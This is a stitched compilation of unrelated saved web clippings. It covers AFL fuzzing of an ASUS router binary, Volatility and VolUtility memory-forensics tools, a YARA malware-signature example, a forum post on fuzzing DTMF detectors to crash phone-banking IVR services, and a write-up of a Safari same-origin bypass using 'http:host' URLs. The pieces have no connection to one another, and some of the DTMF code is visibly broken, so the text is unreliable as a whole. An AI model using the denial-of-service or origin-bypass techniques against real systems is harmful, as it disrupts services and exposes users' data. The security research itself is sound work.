<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4396'%3e%3cg data-evernote-id='4397'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='4398' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='4399' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1git clone https://github.com/abiondo/afl.git
    2cd afl
    3make
    4cd qemu_mode
    5export CPU_TARGET=mipsel
    6./build_qemu_support.sh
[/code]

Rerunning the previous fuzzing command script WITHOUT the `AFL_NO_FORKSRV `
environment variable produces some absolutely insane results:

<img src='img/2019-04-17-193313_774x495_scrot.png' width='554' height='355' />

##

Final fuzzing results<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='4459'%3e%3cg data-evernote-id='4460' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='4461' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='4462'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

After about 24 hours of fuzzing, hardly any new paths were discovered. Doing
some more static analysis on the parsing functions revealed very few spots in
the functions for any potentially dangerous user input to corrupt anything.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4470'%3e%3cg data-evernote-id='4471'
class='js-evernote-checked'%3e%3crect x='9' y='9' width='13' height='13'
rx='2' ry='2' data-evernote-id='4472' class='js-evernote-
checked'%3e%3c/rect%3e%3cpath d='M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0
0 1 2 2v1' data-evernote-id='4473' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />Copy

[code]

    1$ cat output_fast/fuzzer_stats 
    2start_time        : 1555381507
    3last_update       : 1555385229
    4fuzzer_pid        : 61241
    5cycles_done       : 272
    6execs_done        : 8226287
    7execs_per_sec     : 2055.33
    8paths_total       : 85
    9paths_favored     : 19
    10paths_found       : 81
    11paths_imported    : 0
    12max_depth         : 6
    13cur_path          : 49
    14pending_favs      : 0
    15pending_total     : 0
    16variable_paths    : 0
    17stability         : 100.00%
    18bitmap_cvg        : 1.15%
    19unique_crashes    : 0
    20unique_hangs      : 0
    21last_path         : 1555382334
    22last_crash        : 0
    23last_hang         : 0
    24execs_since_crash : 8226287
    25exec_timeout      : 20
    26afl_banner        : asusdiscovery
    27afl_version       : 2.52b
    28target_mode       : qemu 
    29command_line      : afl-fuzz -i afl_input -o output -m none -Q /home/caffix/firmware/asus/RT-AC51U/ext_fw/squashfs-root/usr/sbin/asusdiscovery
    30​
[/code]

##

Final thoughts<img src='data:image/svg+xml,%3csvg
preserveAspectRatio='xMidYMid meet' height='1em' width='1em' fill='none'
xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke-width='2'
stroke-linecap='round' stroke-linejoin='round' stroke='currentColor'
class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-evernote-
id='4574'%3e%3cg data-evernote-id='4575' class='js-evernote-checked'%3e%3cpath
d='M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71' data-evernote-
id='4576' class='js-evernote-checked'%3e%3c/path%3e%3cpath d='M14 11a5 5 0 0
0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71' data-evernote-id='4577'
class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

Over the course of using the LD\_PRELOAD trick paired with jumping directly to
a function I wanted to fuzz, I was able to save tons of time inside of GDB
trying to see what code paths were valid. By using Abiondo's fork of AFL I was
able to get execution times on par with AFL compiling code speeds. Getting
thousands of executions per second doesn't generally happen when fuzzing
applications in AFL's QEMU mode and I was happy to see 2000 plus executions
per second.

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4587'%3e%3cg data-evernote-id='4588'
class='js-evernote-checked'%3e%3cline x1='19' y1='12' x2='5' y2='12' data-
evernote-id='4589' class='js-evernote-checked'%3e%3c/line%3e%3cpolyline
points='12 19 5 12 12 5' data-evernote-id='4590' class='js-evernote-
checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

Vulnerability Discovery - Previous

Reverse Engineering

Next

Remote Dynamic Blackbox Java App Analysis

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='none' xmlns='http://www.w3.org/2000/svg'
viewBox='0 0 24 24' stroke-width='2' stroke-linecap='round' stroke-
linejoin='round' stroke='currentColor' class='icon-7f6730be--text-3f89f380 js-
evernote-checked' data-evernote-id='4603'%3e%3cg data-evernote-id='4604'
class='js-evernote-checked'%3e%3cline x1='5' y1='12' x2='19' y2='12' data-
evernote-id='4605' class='js-evernote-checked'%3e%3c/line%3e%3cpolyline
points='12 5 19 12 12 19' data-evernote-id='4606' class='js-evernote-
checked'%3e%3c/polyline%3e%3c/g%3e%3c/svg%3e' />

<img src='img/10480015' width='30' height='30' />

Christopher Roberts

Last updated 19 days ago

Was this page helpful?

<img src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-
evernote-id='4625'%3e%3cg data-evernote-id='4626' class='js-evernote-
checked'%3e%3cpath d='M9.707 8.707a.993.993 0 0 0 .006-1.396 1.007 1.007 0 0
0-1.408-.03C8.273 7.312 7.519 8 6 8c-1.497 0-2.251-.67-2.303-.717a1 1 0 0
0-1.404 1.424C2.425 8.839 3.653 10 6 10c2.347 0 3.575-1.161 3.707-1.293m12
0a.993.993 0 0 0 .006-1.396 1.006 1.006 0 0 0-1.408-.03C20.273 7.312 19.519 8
18 8c-1.497 0-2.251-.67-2.303-.717a1 1 0 0 0-1.404 1.424C14.425 8.839 15.653
10 18 10c2.347 0 3.575-1.161 3.707-1.293M21.001 19a1 1 0 0 1-.896-.553C20.036
18.314 18.225 15 12 15c-6.225 0-8.036 3.314-8.11 3.456a1.002 1.002 0 0
1-1.344.43.997.997 0 0 1-.441-1.333C2.198 17.367 4.469 13 12 13s9.802 4.367
9.895 4.553A1.001 1.001 0 0 1 21.001 19' fill-rule='evenodd' data-evernote-
id='4627' class='js-evernote-checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' /><img
src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-
evernote-id='4629'%3e%3cg data-evernote-id='4630' class='js-evernote-
checked'%3e%3cpath d='M10 8a1 1 0 0 0-1-1H3a1 1 0 1 0 0 2h6a1 1 0 0 0 1-1m12
0a1 1 0 0 0-1-1h-6a1 1 0 1 0 0 2h6a1 1 0 0 0 1-1m-1 9H3a1 1 0 1 1 0-2h18a1 1 0
1 1 0 2' fill-rule='evenodd' data-evernote-id='4631' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' /><img
src='data:image/svg+xml,%3csvg preserveAspectRatio='xMidYMid meet'
height='1em' width='1em' fill='currentColor' viewBox='0 0 24 24'
xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
stroke='none' class='icon-7f6730be--text-3f89f380 js-evernote-checked' data-
evernote-id='4633'%3e%3cg data-evernote-id='4634' class='js-evernote-
checked'%3e%3cpath d='M9.707 8.707a.999.999 0 0 0 0-1.414C9.575 7.161 8.347 6
6 6 3.653 6 2.425 7.161 2.293 7.293a.992.992 0 0 0-.005 1.396 1.007 1.007 0 0
0 1.408.029C3.727 8.689 4.481 8 6 8c1.52 0 2.273.689 2.293.707a.997.997 0 0 0
1.414 0m12 0a.999.999 0 0 0 0-1.414C21.575 7.161 20.347 6 18 6c-2.347 0-3.575
1.161-3.707 1.293a.992.992 0 0 0-.005 1.396 1.006 1.006 0 0 0 1.407.029C15.727
8.689 16.481 8 18 8c1.52 0 2.273.689 2.293.707a.997.997 0 0 0 1.414 0M12
19c-7.53 0-9.8-4.367-9.894-4.553a1.001 1.001 0 0 1 1.786-.902C3.974 13.704
5.792 17 12 17c6.226 0 8.037-3.314 8.111-3.456a1.007 1.007 0 0 1
1.344-.43.998.998 0 0 1 .441 1.333C21.802 14.633 19.531 19 12 19' fill-
rule='evenodd' data-evernote-id='4635' class='js-evernote-
checked'%3e%3c/path%3e%3c/g%3e%3c/svg%3e' />

# Volatility: Advanced Memory Forensics

**Created:**| _5/1/2011 9:58:07 AM_  
---|---  
**Updated:**| _5/1/2011 9:58:07 AM_  
**Author:**| __  
**Tags:**| _Forensics Memory forensics registry_  
  

April302011

### Volatility and a Python Implementation of RegRipper

As many of you have probably noticed, one of the things that was missing from
the 1.4 development branch was the RegRipper integration. Almost two years
ago, Moyix created a prototype which allowed Volatility users to leverage the
capabilities of RegRipper for analyzing the Registry hives cached in physical
memory. While we have spent countless hours entertaining ourselves by digging
through Jesse K’s memory samples to extract interesting artifacts \(passwords,
access points he was connecting to, documents that were being written, etc\),
it was always a “bit of hackery” since it relied on “Inline::Python” to manage
the “unholy union of Perl and Python”. Unfortunately, “Inline::Python” could
only be used on Linux and thus proved the wrong solution for 1.4. While I have
heard numerous people yearn for a Python version of RegRipper, no one had
stepped up to take on that challenge, until now.  
  
The intrepid lg recently announced that he had created a prototype Python port
of RegRipper as a Volatility plugin, RegList. For all of those seeking Python
registry analysis, this is your opportunity to contribute to the community and
provide feedback. I’m sure lg would appreciate the help\!  
  
Volatility continues to be the first and only tool to support cached registry
analysis and I’m not talking about simply enumerating registry handles \(circa
2007\). It has also proven to be the only tool that real memory analysts
use…not to mention commercial imitators \(grep -i -r “Volatility” email\).  
  
Shoutz to lg\! Thanks for the Vol-loV:

<quote>

“The Volatility developers did a great job with their re-architecture of the
already extremely useful Volatility memory forensics tool. And there’s a new
plugin to go with it …  
  
Major changes include:  
  
\* Volatility now supports multiple flavours of Windows.  
\* The code was rewritten to greatly speed up processing of memory dumps.  
\* The developers included comprehensive documentation covering all aspects of
the tool: installation / use / development / architecture.  
\* Installation is much simpler.  
  
What is not covered in the Volatility documentation is explained clearly in
the last 4 chapters of Malware Analyst’s Cookbook, Michael Hale Ligh et al,
Wiley 2011. A must read if you are serious about forensics in general and
Volatility in particular.

</quote>

# Garage4hackers Forum - Fuzzing DTMF Detection Algorithms .

**Created:**| _9/27/2013 12:13:10 PM_  
---|---  
**Updated:**| _9/27/2013 12:13:10 PM_  
**Author:**| __  
**Tags:**| _Hacks phone_  
  

My ekoparty.org \[Argentina\] and NU\[Delhi\] talk and also Ruxcon
\[Australia\] and BlackHat \[Abhudabi\] which I could't make it .  
<img src='img/Temp2_3424.jpg' />  
  
  
**What is this paper about**** :  
**  
Input validation attacks and memory corruption attacks are common, and the  
criticality of finding a DOS attack on a service like HTTP is consider a lot
critical  
considering the attack surface and easiness of attack. Even if we could
trigger an  
exception in an Apache Web server and crash them, that would be a huge loss  
for corporates and individuals hosting critical applications on these systems.  
  
  
This paper is on DTMF input processing algorithms \[DSP\], that are often  
embed into PBX, IVR, Telephone routers and other devices that process DTMF  
input. PBX and IVR servers are often deployed for running Phone Banking App  
Servers, Call Center Application and other systems that uses phone to interact  
with them. If an attacker could trigger exception in DTMF processing
algorithms, then they could crash the entire application server making a
single phone call, causing the entire Phone banking in accessible, or no calls
to the costumer service goes through. One such denial of Service could cause a
lot of panic and the amount of damage would be pretty huge.  
  
  
  
**_History of this research:  
_**  
I did two presentations last year, one explaining security vulnerabilities in
IVR applications , mainly explaining logic flaws in CXML|VXML codes , and was
not specific to any IVR's. These issues were related to coding flaws in
CXML|VXML so any buggy IVR applications|IVR servers would be affected by those
issues.  
  
You can view the research experiments here :  
http://www.garage4hackers.com/blogs/...ations%5D-310/  
  
Well for the VXML attacks , finding bugs the best option is source code
auditing, else you will have to do a lot of trail and error to exploit these
systems .So with out source code the success rate is very poor.  
Most of the Test were done on Voxeo IVR , since it was easy to install and
manage .  
  
The second paper which we recently demonstrated in Ekoparty was in the Core
DTMF processing algorithms and it's implementations, any application that
process DTMF and could be interacted directly could possibly be vulnerable to
these attacks.  
  
So let me refer the first attack as VXML attacks and second one as DTMF
attack.  
  
And for DTMF attack, If the system handles DTMF tones and you can interact
with it directly , you would be able to perform the below mention attacks on
it.  
  
_**Fuzzing DTMF Detection Algorithms:  
**_<img src='img/Temp2_3426.jpg' />  
  
  
_**Applications of DTMF:  
**_  
There are a lot of application that we use in our day to day life that usese
DTMF tones as input.  
The following are few applications:  
  
_IVR :_  
Costumer Care Applications  
Phone Banking Applications  
  
_PBX \[Private Branch exchange\]:  
_Telecom Systems  
Voice Mails  
VOIP  
  
_Conference Bridges:_  
Telephone Routers  
  
Attachment 564  
  
For example the following CXML code will enable support for DTMF inputs in an
IVR application.  
Extreme Docs  

Code:

[code]

    <!-- This grammar is specifically for recognizing DTMF. -->
    <grammar xml:lang="en-US" root = "MYRULE" mode="dtmf">
[/code]

_**Input is Evil  
**_The input to these application that we control is DTMF , and there got be a
module that converts these tones back to it's numeric format. So if we could
find bug in those modules then technically we would be remotely able to:  
  
\[Crash\] Shut down Costumer Service Apps  
Shut down a Phone Banking  
Shut down a telephone router handling millions of calls.  
  
And having this much power is priceless .  
  
**DTFM: Dual Tone Multi Frequency  
**  
  
_Original Source : DTMF Explained  
_  
DTMF stands for Dual Tone - Multi Frequency and it is the basis for your
telephone system. DTMF is actually the generic term for Touch-Tone \(touch-
tone is a registered trademark of ATT\). Your touch-tone phone is technically
a DTMF generator that produces DTMF tones as you press the buttons.  
  
  
It's called \[Dual Tone Multi\] because it is a combination of multi frequency
\[2\], a High and Low Frequency .  
  
**DTFM Generation and DTMF Detection  
**  
**_DTMF Generation:  
_**  
  
When you press the digit 1 on the keypad, you generate the tones 1209 Hz and
697 Hz.  
  
Pressing the digit 2 will generate the tones 1336 Hz and 697 Hz.  
  
It take two tones to make a digit and the decoding equipment knows the
difference between the 1209 Hz that would complete the digit 1, and a 1336 Hz
that completes a digit 2.  
  
<img src='img/Temp2_3420.jpg' />  
**Code** :  
So the following code would be how it's done, we will get back to this in the
Fuzzing part later.  
  

Code:

[code]

    key = {'1','2','3','4','5','6','7','8','9','*','0','#'};
    low_frequency = [697 770 852 941]; % Low frequency group
    high_frequency = [1209 1336 1477];  % High frequency group
    frequency_pair  = [];
    for column=1:4,
        for row=1:3,
            frequency_pair = [ frequency_pair[lfg(column);hfg(row)] ];
        end
    end
    frequency =8khz
    play frequency_pair
[/code]

sampling frequency  
  
Here are couple of implementation of a DTMF generato in PHP and Java:  
PHP dtmf generator - Old Skool Phreaking - Binary Revolution Forums  
http://aggemam.dk/scripts/dtmf.phps  
  
So DTMF generation is fairly easy to understand and to code. Remember, all
these tone genration were done using oscillators at hardware level, but these
days u hardly see any hardware implementation and the bug we are referring to
all are at software level.  
  
  
**_DTMF Detection  
_**  
The input signals need to be processed for the production of DTMF codes, there
are around 320 samples presented as the  
minimum duration of a DTMF signal defined by the ITU standard is 40 ms in
frequency of 8ms \[0.04 x 8000\] = 320 samples.And from these the tones need
to be detected.  
  
The solution for this would be to use a Discrete-Time Fourier Transform.
Detection could be done by using a bank of filters or using a bank of filters
using DFT. In this Goertzel algorithm is the mostly used DTMF detection
algorithm .It computes a sequence using DFT , 16 samples of DFT are computed
for 16 tones.For the implementation ogf goertzel the following equations are
necessary.  
  
  
\[Equation\]  
<img src='img/Temp2_3427.jpg' />  
<img src='img/Temp2_3425.jpg' />  
  
  
In the above equation we need to calculate the constant, k.  
The value "k" determines the tone we are trying to detect and is given by:  
  

Code:

[code]

    K =N * fton/fs
[/code]

Where: ftone = frequency of the tone.  
fs = sampling frequency.  
N is set to 205.  
Now we can calculate the value of the coefficient 2cos\(2\*\*k/N\).  
  
  
<img src='img/Temp2_3423.jpg' />  
\[Content credits: Dr NaimDahnoum briston University \]  
  
  
_Pseudo Code:  
_

Code:

[code]

    standard_frequency =output_frequency/sample_rate;
     coeff = 2*cos(2pi*standard_frequency);
     for each sample, x[n],
     s= x[n] + coeff*s_prev -s_prev2;
     s_prev2 = s_prev;
     s_prev+ s;
     end power = S-prev2*s_prev2 + s_prev*s_prev - coeff*s_prev*s_prev2
[/code]

A better read on the algorithm could be found here:  
https://sites.google.com/site/hobbyd...dtmf-detection  
  
DTMF Detection:  
  
  
  
As u must have noticed there need to be a good amount of computation process
that is undergone for detecting the tones. And aalmost all of the systems that
detects DTMF have one or the other form of above algorithm embedded into it.
Now that we know the algorithm and the input, it would be a just a matter of
time to fuzz one such application.  
  
Input is Evil:  
  
Fuzzing What We Controll  
  
1\) The Frequency\[ftone\]  
2\) The Amplitude  
3\) Sample Rate \[fs\]  
4\) Sample Length  
5\) Sample Duration  
6\) Higher Frequency  
7\) Lower Frequency  
  
The frequency is set to 8ms as per standards, but we can vary this +-1/2.  
And our fuzzer work by varying these controlled values. The orginal code was
written by Christian Schmidt. a DTMF generator , and we modified the code to
build our fuzzer.  
  

Code:

[code]

    //samples per second
    $sample_rate = isset($sample_rate) ? intval($sample_rate) : 8000; 
    
    //signal length in milliseconds
    $signal_length = isset($signal_length) ? intval($signal_length) : 100; 
    
    //break between signals in milliseconds
    $break_length = isset($break_length) ? intval($break_length) : 100;
    
    //pause length in milliseconds - pause character is ','
    $pause_length = isset($pause_length) ? intval($pause_length) : 500; 
    
    //amplitude of wave file in the range 0-64
    $amplitude = isset($amplitude) ? intval($amplitude) : 64;
[/code]

Test Case 1:  
  
The example video shows a huge amount of CPU usage by the detection program
when attached to our Fuzzer . Note, the input is via the input audio source
\[mic\].  
We tested the fuzzer on the following program and the below video is of that
one . http://www.phrack.org/issues.html?issue=50&id=13  
  
And for some reason there was an issue with the audio <img
src='img/Temp2_3422.jpg' />  
  
  
No image the many applications that has got am implementation of this
algorithm , since we have a user controlled input I believe it would be fairly
easy to attack these devices .  
  
I have had a remote crash as well \[not exploitable\], the mod-security of
this server is not allowing me to add code here, I will later make a GIT repo
and add the Fuzzer there.  
Cheers.  
  
**CXML/VXML Auditing for IVR Pentesters:  
**  
  
  
**Fuzzing DTMF Detection Algorithm Nullcon Delhi:References  
**Video from Nullcon Delhi:  
  
Dual-Tone Multi-Frequency \(DTMF\) Signal Detection - MATLAB & Simulink
Example - MathWorks India  
https://docs.google.com/viewer?a=v&q...VttTswK3G0Y5-w  
Dual Tone Multi-Frequency \(DTMF\) Detection  
PHP dtmf generator - Old Skool Phreaking - Binary Revolution Forums  
  
Couple of DTMF Decoder codes for testing:  
https://docs.google.com/viewer?a=v&p...OGY5NWJmYmYyZA  
http://www.codeforge.com/article/77096  
http://www.phrack.org/issues.html?issue=50&id=13

<img src='img/Temp2_3428.jpg' alt='Attached Files' />

  * <img src='img/Temp2_3421.jpg' /> converted-58d000b1.jpg \(21.0 KB, 35 views\) 
  * <img src='img/Temp2_3421.jpg' /> converted-fb027e02.jpg \(14.6 KB, 43 views\) 

# lcamtuf's blog: Safari: a tale of betrayal and revenge

**Created:**| _6/8/2010 10:40:44 AM_  
---|---  
**Updated:**| _6/8/2010 10:40:44 AM_  
**Author:**| __  
**Tags:**| _Exploit web Mac-hacking xss_  
  

### Safari: a tale of betrayal and revenge

Looks like I am finally free to discuss the first interesting browser bug on
my list - so here we go. I really like this one: its history goes back to
1994, and spans several very different codebases. The following account is
speculative, but probably a pretty good approximation of what went wrong.

Let's begin with this simple URL:

`http:example.com/`

This syntax demonstrates an unintentional and completely impractical quirk in
the URL parsing algorithm specified some 16 years ago in RFC 1630. Verbatim
implementations are bound to parse this string as a relative reference to
`protocol = 'http', host = $base_url.host, path = 'example.com/'`. It does not
make a whole lot of sense, and indeed, in RFC 3986, Tim Berners-Lee had this
to say:

"This is considered to be a loophole in prior specifications of partial URI
\[RFC1630\]. Its use should be avoided but is allowed for backward
compatibility."

Fast forward two years: the KDE team is working on a new open-source browser,
Konqueror. Their browser uses KURL as the canonical URL parsing library across
the codebase. This parser behaves in an RFC-compliant way when handling our
weird input string, with one seemingly unimportant difference: if the current
parsing context does not have a valid host name associated with it, the
address is not rejected as unresolvable; the host name is simply set to an
empty string. No big deal, right?

Well, somewhere around 2002, the renderer and the JavaScript engine used in
Konqueror - KHTML and KJS - are forked off under the name of WebKit, and
become the foundation for Safari. The fork contains almost all the necessary
core components for a browser, with a notable exception of a built-in HTTP
stack - and so, Apple decides to reuse their existing CFNetwork library for
this purpose. When our special URL finally makes it to this library, it is
interpreted in a far more intuitive, but technically less correct way - as
`protocol = 'http', host = 'example.com', path = '/'`; HTTP cookies and other
request parameters are then supplied accordingly.

The result? When you open two windows in Safari - one pointing to `http:hairy-
spiders.com`, and the other pointing to `http:fuzzy-bunnies.com` \- the HTTP
stack will make sure they are populated with cookie-authenticated data coming
from the two different servers named in the URLs; but the same origin checks
within the browser will rely on KURL instead. Remember how KURL spews out an
empty host name in both cases? Because empty strings always match, both pages
are deemed to be coming from the same source, and can access each other at
will. Oops.

Well, there's still a catch: this attack will only work as expected if the
windows are opened by hand; in documents opened from a web page, the host name
from the base URL will interfere with how the URLs are broken down.
Thankfully, we can work around it, simply by hopping through a data: URL.

Reported to the vendor in January 2010, fixed in Safari 4.1 and 5.0 \(`APPLE-
SA-2010-06-07-1`, `CVE-2010-0544`\). A simple and harmless proof-of-concept
can be found here.

# Examples from The Java Developers Almanac 1.4

**Created:**| _10/13/2009 8:45:25 PM_  
---|---  
**Updated:**| _10/13/2009 8:45:35 PM_  
**Author:**| __  
**Tags:**| _Java programming snipplets_  
  
  
---  
---  
<img src='img/Temp2_2804.jpg' />|

# The Java Developers Almanac 1.4

| |   
---|---  
| | Web| exampledepot.com  
---|---  
* * *
|  | Home > **List of Packages**   
| java.applet|  \[8 examples\]  
---|---  
java.awt|  \[78 examples\]  
java.awt.datatransfer|  \[3 examples\]  
java.awt.dnd|  \[3 examples\]  
java.awt.event|  \[8 examples\]  
java.awt.font|  \[5 examples\]  
java.awt.geom|  \[4 examples\]  
java.awt.image|  \[21 examples\]  
java.awt.print|  \[6 examples\]  
java.beans|  \[12 examples\]  
java.io|  \[37 examples\]  
java.lang|  \[58 examples\]  
java.lang.ref|  \[3 examples\]  
java.lang.reflect|  \[17 examples\]  
java.math|  \[6 examples\]  
java.net|  \[27 examples\]  
java.nio|  \[27 examples\]  
java.nio.charset|  \[2 examples\]  
java.rmi|  \[6 examples\]  
java.security|  \[30 examples\]  
java.security.cert|  \[9 examples\]  
java.sql|  \[73 examples\]  
java.text|  \[26 examples\]  
java.util|  \[53 examples\]  
java.util.concurrent|  \[1 examples\]  
java.util.jar|  \[5 examples\]  
java.util.logging|  \[20 examples\]  
java.util.prefs|  \[18 examples\]  
java.util.regex|  \[26 examples\]  
java.util.zip|  \[9 examples\]  
Java Language|  \[3 examples\]  
javax.accessibility|  \[7 examples\]  
javax.crypto|  \[14 examples\]  
javax.imageio|  \[6 examples\]  
javax.mail|  \[1 examples\]  
javax.naming|  \[9 examples\]  
javax.naming.directory|  \[12 examples\]  
javax.naming.event|  \[2 examples\]  
javax.naming.ldap|  \[4 examples\]  
javax.net.ssl|  \[4 examples\]  
javax.print|  \[6 examples\]  
javax.print.attribute|  \[4 examples\]  
javax.print.attribute.standard|  \[3 examples\]  
javax.print.event|  \[3 examples\]  
javax.rmi|  \[3 examples\]  
javax.security.auth.login|  \[3 examples\]  
javax.security.cert|  \[1 examples\]  
javax.servlet|  \[11 examples\]  
javax.servlet.jsp|  \[18 examples\]  
javax.servlet.jsp.jstl.core|  \[6 examples\]  
javax.servlet.jsp.tagext|  \[1 examples\]  
javax.sound.midi|  \[7 examples\]  
javax.sound.sampled|  \[9 examples\]  
javax.swing|  \[141 examples\]  
javax.swing.border|  \[3 examples\]  
javax.swing.colorchooser|  \[10 examples\]  
javax.swing.event|  \[1 examples\]  
javax.swing.filechooser|  \[19 examples\]  
javax.swing.table|  \[62 examples\]  
javax.swing.text|  \[49 examples\]  
javax.swing.text.html|  \[2 examples\]  
javax.swing.tree|  \[15 examples\]  
javax.swing.undo|  \[1 examples\]  
javax.xml.parsers|  \[8 examples\]  
javax.xml.transform|  \[5 examples\]  
javax.xml.transform.sax|  \[1 examples\]  
org.w3c.dom|  \[30 examples\]  
org.xml.sax|  \[3 examples\]  
Programs|  \[1 examples\]  
|

# VolUtility: volatility web interface - Penetration Testing

**Created:**| _5/31/2017 6:22:04 PM_  
---|---  
**Updated:**| _5/31/2017 6:22:31 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

  

# VolUtility: volatility web interface

by do son · Published May 29, 2017 · Updated May 29, 2017

The Volatility Framework is fully open collection tools implemented in Python
under the GNU General Public License, to extract digital artifacts samples
from volatile memory \(RAM\).

Web interface for nonvolatile memory analysis \(Web Interface for Volatility
Memory Analysis\), VolUtility launches plugins and stores the output data in
the mongo database. This framework is a Web interface retrieves files from
plugins \(that support the dump-dir\) and store them in a database, as well as
looking at all the plug-ins and content files using the search string and the
rules of yara. It allows you to continue to work with multiple images in a
single database.

## Installation

[code]

    $ sudo apt-get update && sudo apt-get upgrade
    $ sudo apt-get install python-dev python-pip git libimage-exiftool-perl12
[/code]



We need volatility 2.5 or later.

[code]

    $ cd ~/
    $ git clone https://github.com/volatilityfoundation/volatility
    $ cd volatility
    $ sudo python setup.py install1234
[/code]



### Mongo & PyMongo

[code]

    sudo pip install pymongo
    sudo pip install django
    sudo pip install virustotal-api123
[/code]



[code]

    git clone https://github.com/kevthehermit/VolUtility1
[/code]

##  Usage

<img src='img/Temp2_8993.gif' width='2880' height='1620' />

[code]

    cd VolUtility
    ./manage.py runserver 0.0.0.0:8000
    Open your browser and go to http://your.ip:8000123
[/code]



### Demo

VolUtility Demo 1

Source: Github

 Post Views: 138

Share

 __

 __

  

# yara-project - Project Hosting on Google Code

**Created:**| _11/14/2010 4:08:09 PM_  
---|---  
**Updated:**| _11/14/2010 4:17:12 PM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  
yara-project _A malware identification and classification tool_ |   
---|---  
Project Home |  |  Downloads |  |  Wiki |  |  Issues |  |  Source |  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
<img src='img/Temp2_10777.gif' width='15' height='15' /> Star this project  
---  
**Activity:** <img src='img/Temp2_10779.gif' /> Medium  
---  
**Code license:**  
GNU General Public License v3  
**Labels:**  
virus, malware, antivirus, classification, rule, pattern  
**Featured downloads:**  
<img src='img/Temp2_10778.gif' /> TextMate-bundle-1.4.zip  
<img src='img/Temp2_10778.gif' /> UltraEdit-wordfile-1.4.txt  
<img src='img/Temp2_10778.gif' /> YARA User's Manual 1.4.pdf  
<img src='img/Temp2_10778.gif' /> yara-1.4-win32.zip  
<img src='img/Temp2_10778.gif' /> yara-1.4.tar.gz  
<img src='img/Temp2_10778.gif' /> yara-python-1.4a.tar.gz  
<img src='img/Temp2_10778.gif' /> yara-python-1.4a.win32-py2.5.exe  
<img src='img/Temp2_10778.gif' /> yara-python-1.4a.win32-py2.6.exe  
<img src='img/Temp2_10778.gif' /> yara-python-1.4a.win32-py2.7.exe  
Show all »  
---  
**Featured wiki pages:**  
MalwareRules  
PackerRules  
Show all »  
---  
**External links:**  
About the author  
Twitter  
  
---  
**Feeds:**  
Project feeds  
**Owners:**  
plusvic  
---  
People details »  
## YARA in a nutshell

YARA is a tool aimed at helping malware researchers to identify and classify
malware samples. With YARA you can create descriptions of malware families
based on textual or binary patterns contained on samples of those families.
Each description consists of a set of strings and a Boolean expression which
determines its logic. Let's see an example:

[code]

    rule silent_banker : banker  
    {  
        meta:                                          
            description = "This is just an example"  
            thread_level = 3  
            in_the_wild = true  
      
        strings:   
            $a = {6A 40 68 00 30 00 00 6A 14 8D 91}    
            $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}  
            $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"  
      
        condition:  
            $a or $b or $c  
    }
    
[/code]

The rule above is telling YARA that any ﬁle containing one of the three
strings must be reported as **silent\_banker**.

This is just a simple example, more complex and powerful rules can be created
by using binary strings with wild-cards, case-insensitive text strings,
